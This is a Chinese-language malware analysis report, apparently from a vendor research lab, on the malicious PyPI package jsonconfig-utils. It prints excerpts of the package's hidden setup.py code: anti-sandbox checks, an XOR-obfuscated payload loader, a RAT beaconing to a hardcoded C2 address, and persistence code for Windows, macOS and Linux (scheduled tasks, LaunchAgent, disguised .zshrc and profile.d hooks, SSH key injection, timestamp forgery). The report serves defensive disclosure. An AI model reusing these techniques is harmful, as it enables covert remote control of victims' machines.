文章总结: 该文档分析了PyPI恶意包jsonconfig-utils,其伪装成JSON配置工具,在setup.py中植入完整攻击链。攻击者利用多重反沙箱检测规避自动化分析,解密并部署跨平台RAT后门,针对Windows、macOS和Linux实施差异化持久化策略,包括SSH密钥注入和仿冒系统服务,实现对受害主机的隐蔽远程控制。 综合评分: 93 文章分类: 恶意软件,供应链安全,逆向分析
【天问】PyPI 恶意包分析:jsonconfig-utils 内置 RAT 后门及多平台持久化
星图实验室 星图实验室
奇安信技术研究院
2026年3月3日 18:06 北京
天问Python供应链威胁监测模块发现 PyPI 中存在恶意包 jsonconfig-utils,该包以 JSON 配置工具为掩护,在 setup.py 中内嵌了完整攻击链。攻击者在安装阶段即可完成反沙箱检测、解密并落地 RAT(远程访问木马)载荷、以及跨平台持久化驻留,最终与 C2 服务器建立加密通信,实现对受害主机的远程控制。
“天问”软件供应链安全分析平台是奇安信技术研究星图实验室研发的针对 Python、npm 等主流开发生态进行长期持续监测的安全分析平台。
1. 包基本信息
该包声称是”轻量级JSON配置加载器”,其主模块 jsonconfig_utils.py 中确实实现了 load_config、ConfigDict、validate_schema 等功能性代码,以增强迷惑性。所有恶意逻辑均集中于 setup.py 中,在 pip install 执行 setup.py 时自动触发。
2. 恶意行为概览
setup.py├── _check() — 反沙箱/反分析环境检测,计算置信分└── _install() — 主攻击函数(置信分 ≥ 6 时触发)├── 解码混淆载荷(Base64 + XOR,密钥 0x5A)├── Windows — 落地 .pyw、计划任务、注册表 Run 键├── macOS — 落地 .py、LaunchAgent、.zshrc 注入、crontab└── Linux — 落地 .py、systemd 服务、crontab、SSH 公钥注入(root)
解码后的载荷是一个完整的 RAT Agent,连接 C2 服务器 77[.]246.103.245:443(SSL 加密),上报系统信息并等待远程指令。
3. 反沙箱检测(_check 函数)
攻击者在 _install 执行前通过 _check() 对当前环境进行全面评估,计算一个”置信分”(_s),仅当分数 ≥ 6 时才执行后续攻击。这一机制有效规避了自动化沙箱、CI/CD 扫描器和容器环境的分析。
3.1 容器与 CI 检测
# ── Container detection ──if _sys == "Linux":for _p in ["/.dockerenv", "/run/.containerenv"]:if os.path.exists(_p): _s -= 5try:with open("/proc/1/cgroup") as _f:_cg = _f.read()if any(_k in _cg for _k in ["docker", "lxc", "kubepods"]): _s -= 5except: pass_hn = platform.node().lower()for _b in ["sandbox", "scan", "test", "build", "runner", "ci-", "worker", "job-", "temp"]:if _b in _hn: _s -= 3if os.environ.get("CI") or os.environ.get("GITHUB_ACTIONS") or os.environ.get("JENKINS_URL"):_s -= 5
每检测到容器特征或 CI 环境变量,置信分减 3~5 分,直接将沙箱环境的分数压至触发阈值以下。
3.2 硬件与系统活跃度检测
# ── Hardware ──if os.cpu_count() and os.cpu_count() > 2: _s += 2# 系统运行时长检测(Linux/macOS/Windows 三路分支)if _up > 3600: _s += 1if _up < 300: _s -= 3# ── User activity ──# 浏览器目录存在性检测(Chrome/Firefox/Safari/Edge)if any(os.path.isdir(_b) for _b in _bps): _s += 2# Shell 历史记录大小检测if os.path.exists(_hf) and os.path.getsize(_hf) > 2000:_s += 2; breakelif os.path.exists(_hf) and os.path.getsize(_hf) > 500:_s += 1; break# Desktop/Downloads 文件数量检测if _cnt > 10: _s += 2elif _cnt > 3: _s += 1# .gitconfig 和 SSH known_hosts 检测if os.path.exists(os.path.join(_home, ".gitconfig")): _s += 1
3.3 云元数据服务检测
# ── Cloud metadata ──try:import urllib.requesturllib.request.urlopen("http[:]//169.254.169.254/latest/meta-data/", timeout=1)_s -= 3except: pass
尝试访问 AWS 实例元数据服务地址(169[.]254.169.254),若可达则判断当前环境为云主机/虚拟机,置信分减 3。
4. 混淆载荷解密
_install 函数中内嵌了一段经 Base64 编码 + XOR 加密(密钥 0x5A)的载荷字符串 _E,通过如下方式解密:
_E = "UDM3KjUoLnopNTk..." # 省略,实际长度约 5KB_K = 0x5A_d = bytes([b ^ _K for b in base64.b64decode(_E)])_code = _d.decode()
5. RAT 载荷分析
解密后的载荷实现了一个完整的远控代理(RAT Agent),核心功能如下:
5.1 C2 通信
H="77.246.103.245"P=443HB=15 # 心跳间隔(秒)RB=5 # 初始重连等待(秒)RM=120 # 最大重连等待(秒)def sm(s,m):# 发送消息:4字节大端长度头 + JSON 数据体d=json.dumps(m).encode()s.sendall(struct.pack('>I',len(d))+d)def rm(s,t=45):# 接收消息:读取4字节长度头,再读取消息体(最大 10MB)...return json.loads(d)
代理连接固定 C2 地址 77.246.103.245:443,使用 SSL/TLS 加密通信,通过自定义的长度前缀 JSON 协议收发指令,心跳间隔 15 秒,断线后指数退避重连(最长 120 秒)。
5.2 主机信息收集与上报
def gi():i={"hostname":"?","username":"?","os_type":"?","os_info":"","pid":os.getpid()}try:i["hostname"]=platform.node()except:passtry:i["username"]=os.environ.get("USER",os.environ.get("USERNAME","?"))except:pass...
上线后首先上报主机名、用户名、操作系统类型及版本、当前进程 PID 等基础信息。
5.3 进程隐藏
# Windows:隐藏控制台窗口if platform.system()=="Windows":import ctypesw=ctypes.windll.kernel32.GetConsoleWindow()if w:ctypes.windll.user32.ShowWindow(w,0)ctypes.windll.kernel32.FreeConsole()# Linux/macOS:双 fork 守护进程化else:if os.fork()>0:sys.exit(0)os.setsid()if os.fork()>0:sys.exit(0)
在 Windows 上通过 Win32 API 隐藏控制台窗口并释放控制台;在 Unix 系统上通过经典的”双重 fork”技术使进程成为孤儿守护进程,脱离终端。
6. 多平台持久化
6.1 Windows
# 落地路径:%LOCALAPPDATA%\Microsoft\Windows\INetCache\IE\msedge_update.pyw_dir = os.path.join(os.environ.get("LOCALAPPDATA","C:\\Users\\Public"),"Microsoft","Windows","INetCache","IE")_fp = os.path.join(_dir, "msedge_update.pyw")with open(_fp, "w") as f:f.write(_code)# 设置隐藏+系统属性subprocess.run(["attrib","+H","+S",_fp], capture_output=True)# 时间戳伪造:对齐 cmd.exe 的时间戳_ref = os.path.join(os.environ.get("WINDIR","C:\\Windows"),"System32","cmd.exe")_st = os.stat(_ref)os.utime(_fp, (_st.st_atime, _st.st_mtime))# 计划任务(ONLOGON,最高权限)subprocess.run(["schtasks","/Create","/TN","\\Microsoft\\Windows\\WindowsUpdate\\AU_Maint","/TR",_tr,"/SC","ONLOGON","/F","/RL","HIGHEST"], capture_output=True)# 注册表 Run 键k=winreg.OpenKey(winreg.HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,winreg.KEY_SET_VALUE)winreg.SetValueEx(k,"NGenTask",0,winreg.REG_SZ,_tr)
- 载荷伪装为
msedge_update.pyw(仿冒 Microsoft Edge 更新程序),存放于 INetCache 目录 - 设置隐藏+系统文件属性,普通用户不可见
- 时间戳对齐系统
cmd.exe,干扰取证分析 - 双重持久化:计划任务(用户登录时以最高权限启动)+ 注册表 Run 键
- 使用
pythonw.exe配合CREATE_NO_WINDOW(0x08000000)标志启动,无任何可见窗口
6.2 macOS
# 落地路径:~/Library/.Caches/.com.apple.cloudd/cloudd_helper.py_dir = os.path.join(_home,"Library",".Caches",".com.apple.cloudd")_fp = os.path.join(_dir,"cloudd_helper.py")# 时间戳伪造:对齐 /usr/bin/login_ref = "/usr/bin/login"_st = os.stat(_ref)os.utime(_fp, (_st.st_atime, _st.st_mtime))os.utime(_dir, (_st.st_atime, _st.st_mtime))# LaunchAgent 持久化_pd = {"Label":"com.apple.icloud.cloudd","ProgramArguments":[_py,_fp],"RunAtLoad":True,"KeepAlive":{"SuccessfulExit":False},"StandardOutPath":"/dev/null","StandardErrorPath":"/dev/null"}with open(_plist,"wb") as f:plistlib.dump(_pd, f)subprocess.Popen(["launchctl","load","-w",_plist], ...)# .zshrc 注入(伪装为 conda 初始化块)_block = "\n# >>> conda initialize >>>\n"_block += "# !! Contents within this block are managed by 'conda init' !!\n"_block += f"( {_py} {_fp} &>/dev/null & ) 2>/dev/null\n"_block += "# <<< conda initialize <<<\n"# crontab 兜底_ct=_ct.rstrip()+"\n@reboot "+_py+" "+_fp+" &>/dev/null &\n"
-
载荷伪装为
cloudd_helper.py,目录名.com.apple.cloudd仿冒苹果 iCloud 守护进程 -
时间戳同步至系统
/usr/bin/login,目录时间戳也一并伪造 -
三重持久化:LaunchAgent(系统级)+
.zshrc/.zprofile注入 + crontab@reboot -
.zshrc注入内容伪装为 Conda 初始化代码块,极难被普通用户察觉
6.3 Linux
# 落地路径(依权限)if _is_root:_dir = "/usr/lib/systemd/.systemd-journal-gcd" # rootelse:_dir = os.path.join(_home,".local","share",".systemd-cache") # 普通用户# 时间戳伪造:对齐 /bin/ls_ref = "/bin/ls"_st = os.stat(_ref)os.utime(_fp, (_st.st_atime, _st.st_mtime))os.utime(_dir, (_st.st_atime, _st.st_mtime))# SSH 公钥注入(仅 root)_pk = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQAB...(省略)... ops"with open("/root/.ssh/authorized_keys","a") as f: f.write("\n"+_pk+"\n")# systemd 服务_svc = f"[Unit]\nDescription=Journal Storage GC\n...\n[Service]\nExecStart={_py} {_fp}\nRestart=always\nRestartSec=30\n..."subprocess.run(["systemctl","enable",_sn], ...)subprocess.run(["systemctl","start",_sn], ...)# crontab(重启 + 每6小时检活)_ct+="@reboot "+_py+" "+_fp+" &>/dev/null &\n"_ct+="*/360 * * * * pgrep -f "+os.path.basename(_fp)+" || "+_py+" "+_fp+" &>/dev/null &\n"# /etc/profile.d shell 劫持(仅 root)_script = f"#!/bin/sh\n# System locale configuration\npgrep -f {os.path.basename(_fp)} >/dev/null 2>&1 || {_py} {_fp} &>/dev/null &\n"with open("/etc/profile.d/locale-setup.sh", "w") as f: f.write(_script)
-
落地文件名
journald-gc.py(root)/cache-gc.py(普通用户),模拟 systemd 内部组件 -
时间戳对齐系统
/bin/ls,目录时间戳同步 -
root 专属攻击:SSH 公钥注入
— 将攻击者 RSA 公钥(标签
ops)写入/root/.ssh/authorized_keys,实现永久 SSH 后门,独立于 RAT 存活 -
四重持久化:systemd 服务 + crontab(重启+定时检活)+
/etc/profile.d/locale-setup.sh全局 shell 脚本劫持(root) -
文件
/etc/profile.d/locale-setup.sh伪装为”系统区域设置配置”,任何用户登录 shell 时均会触发。
7. 攻击链总结
pip install jsonconfig-utils│▼setup.py 执行│├─► _check() 环境评分│ ├── 容器/CI/云环境 → 减分 → 分数 < 6 → 终止│ └── 真实用户主机 → 分数 ≥ 6 → 继续│▼_install() 触发│├─► Base64 解码 + XOR(0x5A) 解密 → RAT 源码│├─► Windows: 落地 msedge_update.pyw│ ├── 计划任务 AU_Maint(ONLOGON + HIGHEST)│ ├── 注册表 Run 键 NGenTask│ └── 立即以 pythonw.exe 静默启动│├─► macOS: 落地 cloudd_helper.py│ ├── LaunchAgent com.apple.icloud.cloudd│ ├── .zshrc/.zprofile 注入(conda 伪装)│ ├── crontab @reboot│ └── 立即后台启动│└─► Linux: 落地 journald-gc.py / cache-gc.py├── SSH 公钥注入(root)├── systemd 服务(enable + start)├── crontab(@reboot + */360min 检活)├── /etc/profile.d/locale-setup.sh(root)└── 立即 start_new_session 启动│▼RAT Agent 运行│└─► SSL 连接 77.246.103.245:443├── 上报主机信息├── 心跳(15s)└── 等待并执行远程指令
8. 关键 IoC(失陷指标)
9. 总结
jsonconfig-utils 是一个具有较高技术水准的供应链攻击包,攻击者在其中综合运用了多种对抗分析技术和跨平台攻击手段:
-
伪装合法功能
:主模块
jsonconfig_utils.py实现了完整的 JSON 配置工具功能,以降低安全扫描工具和人工审查的警惕性。 -
精密反沙箱检测
:通过容器检测、CI 检测、硬件指纹、用户行为痕迹、云元数据等多维度综合评分,仅在确认为真实用户环境时才触发攻击,有效规避自动化检测。
-
双重混淆载荷
:RAT 代码经 Base64 + XOR 双重加密存储,静态特征难以识别。
-
跨平台攻击
:同一个
setup.py针对 Windows、macOS、Linux 三个平台分别实现了定制化的落地路径、持久化机制和进程隐藏方式。 -
多重持久化 + 时间戳伪造
:每个平台均部署 2 种以上持久化机制互为兜底,并对落地文件的时间戳进行伪造,增加取证难度。
-
SSH 后门(Linux root)
:在获得 root 权限的 Linux 环境中额外注入 SSH 公钥,即使 RAT 进程被清除,攻击者仍可通过 SSH 重新进入系统。
建议用户避免安装不可信的第三方 Python 包,天问Python供应链威胁监测模块将持续对 PyPI 进行监测。
恶意包信息
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:奇安信技术研究院 星图实验室 星图实验室《【天问】PyPI 恶意包分析:jsonconfig-utils 内置 RAT 后门及多平台持久化》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论